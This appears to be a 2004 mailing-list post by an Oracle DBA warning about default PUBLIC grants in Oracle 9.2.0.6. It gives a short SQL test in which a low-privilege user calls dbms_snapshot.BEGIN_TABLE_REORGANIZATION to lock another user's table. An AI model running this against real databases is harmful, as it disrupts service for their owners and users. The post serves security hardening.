Still too many privileges granted to PUBLIC in 9.2.0.6
Still too many privileges granted to PUBLIC in 9.2.0.6
2004-11-16 - By Van Winssen, Andre A SITI-ITIBHW5
Lectori Salutem,
after the NIGHTMARE we had over here with applying patches for security alert #68 (hundreds of them) we started
thinking more about 'hacking ' and what else could cause database service disruptions.
One of the things I am still worried about are to GRANTS to public after a database creation (9.2.0.6).
See below:
SQL > L
1 select privilege,owner,count(*) from dba_tab_privs
2* where grantee= 'PUBLIC ' and owner= 'SYS ' group by privilege,owner
SQL > /
A little test shows how easy it is to disrupt database service using a login that merely has create session priv.
1) create user test identified by dom;
grant create session to test;
2) create user testdba identified by slim;
grant connect,dba to testdba;
3) connect testdba/slim
create table tabje (c1 number);
insert into tabje values (1);
commit;
select * from tabje;
> > row returned
4) start another session:
connect test/dom
exec sys.dbms_snapshot.BEGIN_TABLE_REORGANIZATION( 'TESTDBA ', 'TABJE ')
If TESTDBA in 4) tries to rerun the select now it hangs and never returns until user TEST in step 4 does commit or rollback
Fortunately this fails for objects required for warmstarting the database like SYS.OBJ$.
".ORA-00701 (See ORA-00701.ora-code.com): object necessary for warmstarting database cannot be altered "
I am quite sure that a little research in the list of sys owned plsql objects for which the grantee is PUBLIC will
demonstrate more possibilities.
